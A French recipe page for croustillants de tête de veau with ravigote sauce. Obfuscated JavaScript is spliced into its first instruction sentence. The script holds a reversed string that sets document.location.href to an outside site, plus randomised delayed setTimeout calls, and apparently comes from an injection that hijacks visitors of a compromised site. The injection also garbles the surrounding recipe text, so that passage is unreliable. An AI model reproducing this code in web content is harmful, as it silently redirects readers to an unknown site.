Croustillants de tête de veau sauce ravigote
2017-12-21Préparez la sauce en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les Ingrédients. Égouttez la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande.
Ouvrez en 2 la tête de veau, nappez de moutarde avec les herbes.
Ingrédients
- Pour 4 personnes
- 1 tête de veau précuite et désossée
- 2 bouquet d'herbes fraîches (Persil, estragon, basilic )
- 4 cuillères à soupe de moutarde forte
- Sel / poivre du moulin
Préparation de la recette
Etape 1
Déposez la tête de veau dans une casserole avec le bouquet d'herbes / thym / laurier/ oignon piqué d'un clou de girofle, du poivre du moulin et sel .
Etape 2
Après la première ébullition comptez 2 heures de cuisson.
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